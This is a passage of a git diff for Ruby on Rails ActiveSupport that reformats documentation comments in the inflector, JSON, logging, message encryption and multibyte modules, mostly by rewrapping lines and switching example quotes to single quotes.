+ # Create the name of a table like Rails does for models to table names. This
+ # method uses the +pluralize+ method on the last word in the string.
#
- # "RawScaledScorer".tableize # => "raw_scaled_scorers"
- # "egg_and_ham".tableize # => "egg_and_hams"
- # "fancyCategory".tableize # => "fancy_categories"
+ # 'RawScaledScorer'.tableize # => "raw_scaled_scorers"
+ # 'egg_and_ham'.tableize # => "egg_and_hams"
+ # 'fancyCategory'.tableize # => "fancy_categories"
def tableize(class_name)
pluralize(underscore(class_name))
end
- # Create a class name from a plural table name like Rails does for table names to models.
- # Note that this returns a string and not a Class. (To convert to an actual class
- # follow +classify+ with +constantize+.)
+ # Create a class name from a plural table name like Rails does for table
+ # names to models. Note that this returns a string and not a Class (To
+ # convert to an actual class follow +classify+ with +constantize+).
#
- # "egg_and_hams".classify # => "EggAndHam"
- # "posts".classify # => "Post"
+ # 'egg_and_hams'.classify # => "EggAndHam"
+ # 'posts'.classify # => "Post"
#
# Singular names are not handled correctly:
- # "business".classify # => "Busines"
+ #
+ # 'business'.classify # => "Busines"
def classify(table_name)
# strip out any leading schema name
camelize(singularize(table_name.to_s.sub(/.*\./, '')))
@@ -148,15 +155,15 @@ module ActiveSupport
# Replaces underscores with dashes in the string.
#
- # "puni_puni".dasherize # => "puni-puni"
+ # 'puni_puni'.dasherize # => "puni-puni"
def dasherize(underscored_word)
underscored_word.tr('_', '-')
end
- # Removes the module part from the expression in the string:
+ # Removes the module part from the expression in the string.
#
- # "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
- # "Inflections".demodulize # => "Inflections"
+ # 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
+ # 'Inflections'.demodulize # => "Inflections"
#
# See also +deconstantize+.
def demodulize(path)
@@ -168,13 +175,13 @@ module ActiveSupport
end
end
- # Removes the rightmost segment from the constant expression in the string:
+ # Removes the rightmost segment from the constant expression in the string.
#
- # "Net::HTTP".deconstantize # => "Net"
- # "::Net::HTTP".deconstantize # => "::Net"
- # "String".deconstantize # => ""
- # "::String".deconstantize # => ""
- # "".deconstantize # => ""
+ # 'Net::HTTP'.deconstantize # => "Net"
+ # '::Net::HTTP'.deconstantize # => "::Net"
+ # 'String'.deconstantize # => ""
+ # '::String'.deconstantize # => ""
+ # ''.deconstantize # => ""
#
# See also +demodulize+.
def deconstantize(path)
@@ -185,26 +192,27 @@ module ActiveSupport
# +separate_class_name_and_id_with_underscore+ sets whether
# the method should put '_' between the name and 'id'.
#
- # "Message".foreign_key # => "message_id"
- # "Message".foreign_key(false) # => "messageid"
- # "Admin::Post".foreign_key # => "post_id"
+ # 'Message'.foreign_key # => "message_id"
+ # 'Message'.foreign_key(false) # => "messageid"
+ # 'Admin::Post'.foreign_key # => "post_id"
def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
end
- # Tries to find a constant with the name specified in the argument string:
+ # Tries to find a constant with the name specified in the argument string.
#
- # "Module".constantize # => Module
- # "Test::Unit".constantize # => Test::Unit
+ # 'Module'.constantize # => Module
+ # 'Test::Unit'.constantize # => Test::Unit
#
- # The name is assumed to be the one of a top-level constant, no matter whether
- # it starts with "::" or not. No lexical context is taken into account:
+ # The name is assumed to be the one of a top-level constant, no matter
+ # whether it starts with "::" or not. No lexical context is taken into
+ # account:
#
# C = 'outside'
# module M
# C = 'inside'
# C # => 'inside'
- # "C".constantize # => 'outside', same as ::C
+ # 'C'.constantize # => 'outside', same as ::C
# end
#
# NameError is raised when the name is not in CamelCase or the constant is
@@ -235,28 +243,28 @@ module ActiveSupport
end
end
- # Tries to find a constant with the name specified in the argument string:
+ # Tries to find a constant with the name specified in the argument string.
#
- # "Module".safe_constantize # => Module
- # "Test::Unit".safe_constantize # => Test::Unit
+ # 'Module'.safe_constantize # => Module
+ # 'Test::Unit'.safe_constantize # => Test::Unit
#
- # The name is assumed to be the one of a top-level constant, no matter whether
- # it starts with "::" or not. No lexical context is taken into account:
+ # The name is assumed to be the one of a top-level constant, no matter
+ # whether it starts with "::" or not. No lexical context is taken into
+ # account:
#
# C = 'outside'
# module M
# C = 'inside'
# C # => 'inside'
- # "C".safe_constantize # => 'outside', same as ::C
+ # 'C'.safe_constantize # => 'outside', same as ::C
# end
#
- # nil is returned when the name is not in CamelCase or the constant (or part of it) is
- # unknown.
- #
- # "blargle".safe_constantize # => nil
- # "UnknownModule".safe_constantize # => nil
- # "UnknownModule::Foo::Bar".safe_constantize # => nil
+ # +nil+ is returned when the name is not in CamelCase or the constant (or
+ # part of it) is unknown.
#
+ # 'blargle'.safe_constantize # => nil
+ # 'UnknownModule'.safe_constantize # => nil
+ # 'UnknownModule::Foo::Bar'.safe_constantize # => nil
def safe_constantize(camel_cased_word)
begin
constantize(camel_cased_word)
@@ -318,8 +326,8 @@ module ActiveSupport
# Applies inflection rules for +singularize+ and +pluralize+.
#
- # apply_inflections("post", inflections.plurals) # => "posts"
- # apply_inflections("posts", inflections.singulars) # => "post"
+ # apply_inflections('post', inflections.plurals) # => "posts"
+ # apply_inflections('posts', inflections.singulars) # => "post"
def apply_inflections(word, rules)
result = word.to_s.dup
diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb
index a372b6d1f7..1cde417fc5 100644
--- a/activesupport/lib/active_support/inflector/transliterate.rb
+++ b/activesupport/lib/active_support/inflector/transliterate.rb
@@ -8,7 +8,7 @@ module ActiveSupport
# Replaces non-ASCII characters with an ASCII approximation, or if none
# exists, a replacement character which defaults to "?".
#
- # transliterate("Ærøskøbing")
+ # transliterate('Ærøskøbing')
# # => "AEroskobing"
#
# Default approximations are provided for Western/Latin characters,
@@ -30,33 +30,33 @@ module ActiveSupport
# ö: "oe"
#
# # Or set them using Ruby
- # I18n.backend.store_translations(:de, :i18n => {
- # :transliterate => {
- # :rule => {
- # "ü" => "ue",
- # "ö" => "oe"
+ # I18n.backend.store_translations(:de, i18n: {
+ # transliterate: {
+ # rule: {
+ # 'ü' => 'ue',
+ # 'ö' => 'oe'
# }
# }
# })
#
- # The value for <tt>i18n.transliterate.rule</tt> can be a simple Hash that maps
- # characters to ASCII approximations as shown above, or, for more complex
- # requirements, a Proc:
+ # The value for <tt>i18n.transliterate.rule</tt> can be a simple Hash that
+ # maps characters to ASCII approximations as shown above, or, for more
+ # complex requirements, a Proc:
#
- # I18n.backend.store_translations(:de, :i18n => {
- # :transliterate => {
- # :rule => lambda {|string| MyTransliterator.transliterate(string)}
+ # I18n.backend.store_translations(:de, i18n: {
+ # transliterate: {
+ # rule: ->(string) { MyTransliterator.transliterate(string) }
# }
# })
#
# Now you can have different transliterations for each locale:
#
# I18n.locale = :en
- # transliterate("Jürgen")
+ # transliterate('Jürgen')
# # => "Jurgen"
#
# I18n.locale = :de
- # transliterate("Jürgen")
+ # transliterate('Jürgen')
# # => "Juergen"
def transliterate(string, replacement = "?")
I18n.transliterate(ActiveSupport::Multibyte::Unicode.normalize(
@@ -64,7 +64,8 @@ module ActiveSupport
:replacement => replacement)
end
- # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
+ # Replaces special characters in a string so that it may be used as part of
+ # a 'pretty' URL.
#
# class Person
# def to_param
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index e44939e78a..a4a32b2ad0 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -39,8 +39,10 @@ module ActiveSupport
self.backend = old_backend
end
- # Returns the class of the error that will be raised when there is an error in decoding JSON.
- # Using this method means you won't directly depend on the ActiveSupport's JSON implementation, in case it changes in the future.
+ # Returns the class of the error that will be raised when there is an
+ # error in decoding JSON. Using this method means you won't directly
+ # depend on the ActiveSupport's JSON implementation, in case it changes
+ # in the future.
#
# begin
# obj = ActiveSupport::JSON.decode(some_string)
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 1a95bd63e6..f65c831e04 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -25,9 +25,10 @@ module ActiveSupport
# matches YAML-formatted dates
DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
- # Dumps objects in JSON (JavaScript Object Notation). See www.json.org for more info.
+ # Dumps objects in JSON (JavaScript Object Notation).
+ # See www.json.org for more info.
#
- # ActiveSupport::JSON.encode({team: 'rails', players: '36'})
+ # ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
# # => "{\"team\":\"rails\",\"players\":\"36\"}"
def self.encode(value, options = nil)
Encoding::Encoder.new(options).encode(value)
@@ -51,7 +52,7 @@ module ActiveSupport
end
end
- # like encode, but only calls as_json, without encoding to string
+ # like encode, but only calls as_json, without encoding to string.
def as_json(value, use_options = true)
check_for_circular_references(value) do
use_options ? value.as_json(options_for(value)) : value.as_json
@@ -60,7 +61,8 @@ module ActiveSupport
def options_for(value)
if value.is_a?(Array) || value.is_a?(Hash)
- # hashes and arrays need to get encoder in the options, so that they can detect circular references
+ # hashes and arrays need to get encoder in the options, so that
+ # they can detect circular references.
options.merge(:encoder => self)
else
options
@@ -105,10 +107,12 @@ module ActiveSupport
'&' => '\u0026' }
class << self
- # If true, use ISO 8601 format for dates and times. Otherwise, fall back to the Active Support legacy format.
+ # If true, use ISO 8601 format for dates and times. Otherwise, fall back
+ # to the Active Support legacy format.
attr_accessor :use_standard_json_time_format
- # If false, serializes BigDecimal objects as numeric instead of wrapping them in a string
+ # If false, serializes BigDecimal objects as numeric instead of wrapping
+ # them in a string.
attr_accessor :encode_big_decimal_as_string
attr_accessor :escape_regex
@@ -231,11 +235,13 @@ class BigDecimal
# those libraries would get in general a wrong number and no way to recover
# other than manually inspecting the string with the JSON code itself.
#
- # That's why a JSON string is returned. The JSON literal is not numeric, but if
- # the other end knows by contract that the data is supposed to be a BigDecimal,
- # it still has the chance to post-process the string and get the real value.
+ # That's why a JSON string is returned. The JSON literal is not numeric, but
+ # if the other end knows by contract that the data is supposed to be a
+ # BigDecimal, it still has the chance to post-process the string and get the
+ # real value.
#
- # Use ActiveSupport.use_standard_json_big_decimal_format = true to override this behaviour
+ # Use <tt>ActiveSupport.use_standard_json_big_decimal_format = true</tt> to
+ # override this behaviour.
def as_json(options = nil) #:nodoc:
if finite?
ActiveSupport.encode_big_decimal_as_string ? to_s : self
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
index c167efc1a7..e489512531 100644
--- a/activesupport/lib/active_support/lazy_load_hooks.rb
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -1,23 +1,25 @@
module ActiveSupport
- # lazy_load_hooks allows rails to lazily load a lot of components and thus making the app boot faster. Because of
- # this feature now there is no need to require <tt>ActiveRecord::Base</tt> at boot time purely to apply configuration. Instead
- # a hook is registered that applies configuration once <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is used
- # as example but this feature can be applied elsewhere too.
+ # lazy_load_hooks allows rails to lazily load a lot of components and thus
+ # making the app boot faster. Because of this feature now there is no need to
+ # require <tt>ActiveRecord::Base</tt> at boot time purely to apply
+ # configuration. Instead a hook is registered that applies configuration once
+ # <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is
+ # used as example but this feature can be applied elsewhere too.
#
# Here is an example where +on_load+ method is called to register a hook.
#
- # initializer "active_record.initialize_timezone" do
+ # initializer 'active_record.initialize_timezone' do
# ActiveSupport.on_load(:active_record) do
# self.time_zone_aware_attributes = true
# self.default_timezone = :utc
# end
# end
#
- # When the entirety of +activerecord/lib/active_record/base.rb+ has been evaluated then +run_load_hooks+ is invoked.
- # The very last line of +activerecord/lib/active_record/base.rb+ is:
+ # When the entirety of +activerecord/lib/active_record/base.rb+ has been
+ # evaluated then +run_load_hooks+ is invoked. The very last line of
+ # +activerecord/lib/active_record/base.rb+ is:
#
# ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
- #
@load_hooks = Hash.new { |h,k| h[k] = [] }
@loaded = Hash.new { |h,k| h[k] = [] }
diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb
index e5b4ca2738..a58afc6b9d 100644
--- a/activesupport/lib/active_support/log_subscriber.rb
+++ b/activesupport/lib/active_support/log_subscriber.rb
@@ -2,11 +2,13 @@ require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/class/attribute'
module ActiveSupport
- # ActiveSupport::LogSubscriber is an object set to consume ActiveSupport::Notifications
- # with the sole purpose of logging them. The log subscriber dispatches notifications to
- # a registered object based on its given namespace.
+ # ActiveSupport::LogSubscriber is an object set to consume
+ # ActiveSupport::Notifications with the sole purpose of logging them.
+ # The log subscriber dispatches notifications to a registered object based
+ # on its given namespace.
#
- # An example would be Active Record log subscriber responsible for logging queries:
+ # An example would be Active Record log subscriber responsible for logging
+ # queries:
#
# module ActiveRecord
# class LogSubscriber < ActiveSupport::LogSubscriber
@@ -20,16 +22,17 @@ module ActiveSupport
#
# ActiveRecord::LogSubscriber.attach_to :active_record
#
- # Since we need to know all instance methods before attaching the log subscriber,
- # the line above should be called after your <tt>ActiveRecord::LogSubscriber</tt> definition.
+ # Since we need to know all instance methods before attaching the log
+ # subscriber, the line above should be called after your
+ # <tt>ActiveRecord::LogSubscriber</tt> definition.
#
# After configured, whenever a "sql.active_record" notification is published,
# it will properly dispatch the event (ActiveSupport::Notifications::Event) to
# the sql method.
#
- # Log subscriber also has some helpers to deal with logging and automatically flushes
- # all logs when the request finishes (via action_dispatch.callback notification) in
- # a Rails environment.
+ # Log subscriber also has some helpers to deal with logging and automatically
+ # flushes all logs when the request finishes (via action_dispatch.callback
+ # notification) in a Rails environment.
class LogSubscriber
# Embed in a String to clear all previous ANSI sequences.
CLEAR = "\e[0m"
@@ -122,10 +125,9 @@ module ActiveSupport
end
# Set color by using a string or one of the defined constants. If a third
- # option is set to true, it also adds bold to the string. This is based
+ # option is set to +true+, it also adds bold to the string. This is based
# on the Highline implementation and will automatically append CLEAR to the
# end of the returned String.
- #
def color(text, color, bold=false)
return text unless colorize_logging
color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index b65ea6208c..63dad7e01a 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -23,15 +23,15 @@ module ActiveSupport
# end
# end
#
- # All you need to do is to ensure that your log subscriber is added to Rails::Subscriber,
- # as in the second line of the code above. The test helpers are responsible for setting
- # up the queue, subscriptions and turning colors in logs off.
- #
- # The messages are available in the @logger instance, which is a logger with limited
- # powers (it actually does not send anything to your output), and you can collect them
- # doing @logger.logged(level), where level is the level used in logging, like info,
- # debug, warn and so on.
+ # All you need to do is to ensure that your log subscriber is added to
+ # Rails::Subscriber, as in the second line of the code above. The test
+ # helpers are responsible for setting up the queue, subscriptions and
+ # turning colors in logs off.
#
+ # The messages are available in the @logger instance, which is a logger with
+ # limited powers (it actually does not send anything to your output), and
+ # you can collect them doing @logger.logged(level), where level is the level
+ # used in logging, like info, debug, warn and so on.
module TestHelper
def setup
@logger = MockLogger.new
@@ -91,12 +91,11 @@ module ActiveSupport
@notifier.wait
end
- # Overwrite if you use another logger in your log subscriber:
+ # Overwrite if you use another logger in your log subscriber.
#
# def logger
# ActiveRecord::Base.logger = @logger
# end
- #
def set_logger(logger)
ActiveSupport::LogSubscriber.logger = logger
end
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index d055767eab..65202f99fc 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -2,7 +2,7 @@ require 'logger'
module ActiveSupport
class Logger < ::Logger
- # Broadcasts logs to multiple loggers
+ # Broadcasts logs to multiple loggers.
def self.broadcast(logger) # :nodoc:
Module.new do
define_method(:add) do |*args, &block|
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index ada2e79ccb..580267708c 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -2,18 +2,19 @@ require 'openssl'
require 'base64'
module ActiveSupport
- # MessageEncryptor is a simple way to encrypt values which get stored somewhere
- # you don't trust.
+ # MessageEncryptor is a simple way to encrypt values which get stored
+ # somewhere you don't trust.
#
- # The cipher text and initialization vector are base64 encoded and returned to you.
+ # The cipher text and initialization vector are base64 encoded and returned
+ # to you.
#
- # This can be used in situations similar to the <tt>MessageVerifier</tt>, but where you don't
- # want users to be able to determine the value of the payload.
+ # This can be used in situations similar to the <tt>MessageVerifier</tt>, but
+ # where you don't want users to be able to determine the value of the payload.
#
- # key = OpenSSL::Digest::SHA256.new('password').digest # => "\x89\xE0\x156\xAC..."
- # crypt = ActiveSupport::MessageEncryptor.new(key) # => #<ActiveSupport::MessageEncryptor ...>
- # encrypted_data = crypt.encrypt_and_sign('my secret data') # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
- # crypt.decrypt_and_verify(encrypted_data) # => "my secret data"
+ # key = OpenSSL::Digest::SHA256.new('password').digest # => "\x89\xE0\x156\xAC..."
+ # crypt = ActiveSupport::MessageEncryptor.new(key) # => #<ActiveSupport::MessageEncryptor ...>
+ # encrypted_data = crypt.encrypt_and_sign('my secret data') # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
+ # crypt.decrypt_and_verify(encrypted_data) # => "my secret data"
class MessageEncryptor
module NullSerializer #:nodoc:
def self.load(value)
@@ -28,15 +29,16 @@ module ActiveSupport
class InvalidMessage < StandardError; end
OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError
- # Initialize a new MessageEncryptor.
- # +secret+ must be at least as long as the cipher key size. For the default 'aes-256-cbc' cipher,
- # this is 256 bits. If you are using a user-entered secret, you can generate a suitable key with
- # <tt>OpenSSL::Digest::SHA256.new(user_secret).digest</tt> or similar.
+ # Initialize a new MessageEncryptor. +secret+ must be at least as long as
+ # the cipher key size. For the default 'aes-256-cbc' cipher, this is 256
+ # bits. If you are using a user-entered secret, you can generate a suitable
+ # key with <tt>OpenSSL::Digest::SHA256.new(user_secret).digest</tt> or
+ # similar.
#
# Options:
- # * <tt>:cipher</tt> - Cipher to use. Can be any cipher returned by <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'
- # * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
- #
+ # * <tt>:cipher</tt> - Cipher to use. Can be any cipher returned by
+ # <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'.
+ # * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
def initialize(secret, options = {})
@secret = secret
@cipher = options[:cipher] || 'aes-256-cbc'
@@ -44,14 +46,14 @@ module ActiveSupport
@serializer = options[:serializer] || Marshal
end
- # Encrypt and sign a message. We need to sign the message in order to avoid padding attacks.
- # Reference: http://www.limited-entropy.com/padding-oracle-attacks
+ # Encrypt and sign a message. We need to sign the message in order to avoid
+ # padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
def encrypt_and_sign(value)
verifier.generate(_encrypt(value))
end
- # Decrypt and verify a message. We need to verify the message in order to avoid padding attacks.
- # Reference: http://www.limited-entropy.com/padding-oracle-attacks
+ # Decrypt and verify a message. We need to verify the message in order to
+ # avoid padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
def decrypt_and_verify(value)
_decrypt(verifier.verify(value))
end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index 3b27089fa0..140b6ca08d 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -2,11 +2,11 @@ require 'base64'
require 'active_support/core_ext/object/blank'
module ActiveSupport
- # +MessageVerifier+ makes it easy to generate and verify messages which are signed
- # to prevent tampering.
+ # +MessageVerifier+ makes it easy to generate and verify messages which are
+ # signed to prevent tampering.
#
- # This is useful for cases like remember-me tokens and auto-unsubscribe links where the
- # session store isn't suitable or available.
+ # This is useful for cases like remember-me tokens and auto-unsubscribe links
+ # where the session store isn't suitable or available.
#
# Remember Me:
# cookies[:remember_me] = @verifier.generate([@user.id, 2.weeks.from_now])
@@ -18,9 +18,9 @@ module ActiveSupport
# self.current_user = User.find(id)
# end
#
- # By default it uses Marshal to serialize the message. If you want to use another
- # serialization method, you can set the serializer attribute to something that responds
- # to dump and load, e.g.:
+ # By default it uses Marshal to serialize the message. If you want to use
+ # another serialization method, you can set the serializer attribute to
+ # something that responds to dump and load, e.g.:
#
# @verifier.serializer = YAML
class MessageVerifier
diff --git a/activesupport/lib/active_support/multibyte.rb b/activesupport/lib/active_support/multibyte.rb
index 977fe95dbe..1bf8e618ad 100644
--- a/activesupport/lib/active_support/multibyte.rb
+++ b/activesupport/lib/active_support/multibyte.rb
@@ -3,16 +3,17 @@ module ActiveSupport #:nodoc:
autoload :Chars, 'active_support/multibyte/chars'
autoload :Unicode, 'active_support/multibyte/unicode'
- # The proxy class returned when calling mb_chars. You can use this accessor to configure your own proxy
- # class so you can support other encodings. See the ActiveSupport::Multibyte::Chars implementation for
- # an example how to do this.
+ # The proxy class returned when calling mb_chars. You can use this accessor
+ # to configure your own proxy class so you can support other encodings. See
+ # the ActiveSupport::Multibyte::Chars implementation for an example how to
+ # do this.
#
# ActiveSupport::Multibyte.proxy_class = CharsForUTF32
def self.proxy_class=(klass)
@proxy_class = klass
end
- # Returns the current proxy class
+ # Returns the current proxy class.
def self.proxy_class
@proxy_class ||= ActiveSupport::Multibyte::Chars
end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index 47336d2143..a42e7f6542 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -6,22 +6,27 @@ require 'active_support/core_ext/module/delegation'
module ActiveSupport #:nodoc:
module Multibyte #:nodoc:
- # Chars enables you to work transparently with UTF-8 encoding in the Ruby String class without having extensive
- # knowledge about the encoding. A Chars object accepts a string upon initialization and proxies String methods in an
- # encoding safe manner. All the normal String methods are also implemented on the proxy.
+ # Chars enables you to work transparently with UTF-8 encoding in the Ruby
+ # String class without having extensive knowledge about the encoding. A
+ # Chars object accepts a string upon initialization and proxies String
+ # methods in an encoding safe manner. All the normal String methods are also
+ # implemented on the proxy.
#
- # String methods are proxied through the Chars object, and can be accessed through the +mb_chars+ method. Methods
- # which would normally return a String object now return a Chars object so methods can be chained.
+ # String methods are proxied through the Chars object, and can be accessed
+ # through the +mb_chars+ method. Methods which would normally return a
+ # String object now return a Chars object so methods can be chained.
#
- # "The Perfect String ".mb_chars.downcase.strip.normalize # => "the perfect string"
+ # 'The Perfect String '.mb_chars.downcase.strip.normalize # => "the perfect string"
#
- # Chars objects are perfectly interchangeable with String objects as long as no explicit class checks are made.
- # If certain methods do explicitly check the class, call +to_s+ before you pass chars objects to them.
+ # Chars objects are perfectly interchangeable with String objects as long as
+ # no explicit class checks are made. If certain methods do explicitly check
+ # the class, call +to_s+ before you pass chars objects to them.
#
- # bad.explicit_checking_method "T".mb_chars.downcase.to_s
+ # bad.explicit_checking_method 'T'.mb_chars.downcase.to_s
#
- # The default Chars implementation assumes that the encoding of the string is UTF-8, if you want to handle different
- # encodings you can write your own multibyte string handler and configure it through
+ # The default Chars implementation assumes that the encoding of the string
+ # is UTF-8, if you want to handle different encodings you can write your own
+ # multibyte string handler and configure it through
# ActiveSupport::Multibyte.proxy_class.
#
# class CharsForUTF32
@@ -60,27 +65,30 @@ module ActiveSupport #:nodoc:
end
end
- # Returns +true+ if _obj_ responds to the given method. Private methods are included in the search
- # only if the optional second parameter evaluates to +true+.
+ # Returns +true+ if _obj_ responds to the given method. Private methods
+ # are included in the search only if the optional second parameter
+ # evaluates to +true+.
def respond_to_missing?(method, include_private)
@wrapped_string.respond_to?(method, include_private)
end
- # Returns +true+ when the proxy class can handle the string. Returns +false+ otherwise.
+ # Returns +true+ when the proxy class can handle the string. Returns
+ # +false+ otherwise.
def self.consumes?(string)
string.encoding == Encoding::UTF_8
end
- # Works just like <tt>String#split</tt>, with the exception that the items in the resulting list are Chars
- # instances instead of String. This makes chaining methods easier.
+ # Works just like <tt>String#split</tt>, with the exception that the items
+ # in the resulting list are Chars instances instead of String. This makes
+ # chaining methods easier.
#
# 'Café périferôl'.mb_chars.split(/é/).map { |part| part.upcase.to_s } # => ["CAF", " P", "RIFERÔL"]
def split(*args)
@wrapped_string.split(*args).map { |i| self.class.new(i) }
end
- # Works like like <tt>String#slice!</tt>, but returns an instance of Chars, or nil if the string was not
- # modified.
+ # Works like like <tt>String#slice!</tt>, but returns an instance of
+ # Chars, or nil if the string was not modified.
def slice!(*args)
chars(@wrapped_string.slice!(*args))
end
@@ -92,8 +100,9 @@ module ActiveSupport #:nodoc:
chars(Unicode.unpack_graphemes(@wrapped_string).reverse.flatten.pack('U*'))
end
- # Limits the byte size of the string to a number of bytes without breaking characters. Usable
- # when the storage for a string is limited for some reason.
+ # Limits the byte size of the string to a number of bytes without breaking
+ # characters. Usable when the storage for a string is limited for some
+ # reason.
#
# 'こんにちは'.mb_chars.limit(7).to_s # => "こん"
def limit(limit)
@@ -137,8 +146,9 @@ module ActiveSupport #:nodoc:
end
alias_method :titlecase, :titleize
- # Returns the KC normalization of the string by default. NFKC is considered the best normalization form for
- # passing strings to databases and validations.
+ # Returns the KC normalization of the string by default. NFKC is
+ # considered the best normalization form for passing strings to databases
+ # and validations.
#
# * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
# <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
@@ -171,9 +181,11 @@ module ActiveSupport #:nodoc:
Unicode.unpack_graphemes(@wrapped_string).length
end
- # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
#
- # Passing +true+ will forcibly tidy all bytes, assuming that the string's encoding is entirely CP1252 or ISO-8859-1.
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
def tidy_bytes(force = false)
chars(Unicode.tidy_bytes(@wrapped_string, force))
end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index ef1711c60a..f49ca47f14 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -5,15 +5,17 @@ module ActiveSupport
extend self
- # A list of all available normalization forms. See http://www.unicode.org/reports/tr15/tr15-29.html for more
+ # A list of all available normalization forms.
+ # See http://www.unicode.org/reports/tr15/tr15-29.html for more
# information about normalization.
NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
# The Unicode version that is supported by the implementation
UNICODE_VERSION = '6.1.0'
- # The default normalization used for operations that require normalization. It can be set to any of the
- # normalizations in NORMALIZATION_FORMS.
+ # The default normalization used for operations that require
+ # normalization. It can be set to any of the normalizations
+ # in NORMALIZATION_FORMS.
#
# ActiveSupport::Multibyte::Unicode.default_normalization_form = :c
attr_accessor :default_normalization_form
@@ -49,19 +51,22 @@ module ActiveSupport
0x3000, # White_Space # Zs IDEOGRAPHIC SPACE
].flatten.freeze
- # BOM (byte order mark) can also be seen as whitespace, it's a non-rendering character used to distinguish
- # between little and big endian. This is not an issue in utf-8, so it must be ignored.
+ # BOM (byte order mark) can also be seen as whitespace, it's a
+ # non-rendering character used to distinguish between little and big
+ # endian. This is not an issue in utf-8, so it must be ignored.
LEADERS_AND_TRAILERS = WHITESPACE + [65279] # ZERO-WIDTH NO-BREAK SPACE aka BOM
- # Returns a regular expression pattern that matches the passed Unicode codepoints
+ # Returns a regular expression pattern that matches the passed Unicode
+ # codepoints.
def self.codepoints_to_pattern(array_of_codepoints) #:nodoc:
array_of_codepoints.collect{ |e| [e].pack 'U*' }.join('|')
end
TRAILERS_PAT = /(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+\Z/u
LEADERS_PAT = /\A(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+/u
- # Detect whether the codepoint is in a certain character class. Returns +true+ when it's in the specified
- # character class and +false+ otherwise. Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
+ # Detect whether the codepoint is in a certain character class. Returns
+ # +true+ when it's in the specified character class and +false+ otherwise.
+ # Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
# <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
#
# Primarily used by the grapheme cluster support.
@@ -69,7 +74,8 @@ module ActiveSupport
classes.detect { |c| database.boundary[c] === codepoint } ? true : false
end
- # Unpack the string at grapheme boundaries. Returns a list of character lists.
+ # Unpack the string at grapheme boundaries. Returns a list of character
+ # lists.
#
# Unicode.unpack_graphemes('क्षि') # => [[2325, 2381], [2359], [2367]]
